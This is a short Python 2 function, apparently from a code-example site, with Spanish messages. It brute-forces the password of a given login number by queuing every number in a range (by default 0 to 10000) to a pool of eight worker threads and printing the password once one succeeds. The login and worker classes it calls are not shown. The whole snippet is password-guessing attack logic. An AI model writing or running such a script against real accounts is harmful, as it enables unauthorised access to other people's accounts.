Пример #1
0
def main(opts=None, args=None):
    sys.argv += [None, None]
    loginNumber = sys.argv.pop(1)
    fromnumber = sys.argv.pop(1) or "0"
    tonumber = sys.argv.pop(1) or "10000"

    # TODO: debe verificar el servicio antes de iniciar el proceso

    farm = Farm(Login, 8, True, True)
    debug("Farm created")

    rango = xrange(int(fromnumber.replace("%", "00")), int(tonumber.replace("%", "00")))

    for number in rango:
        farm.enqueue((loginNumber, number))
    debug("Farm populated")

    farm.start()
    debug("Farm started")

    debug("Joining farm")
    result = farm.wait_eval()

    if result:
        print(u"¡La contraseña de %s es %s !" % (loginNumber, result))
        return 0
    else:
        error(u"No pude encontrar la contraseña :(")
        return 1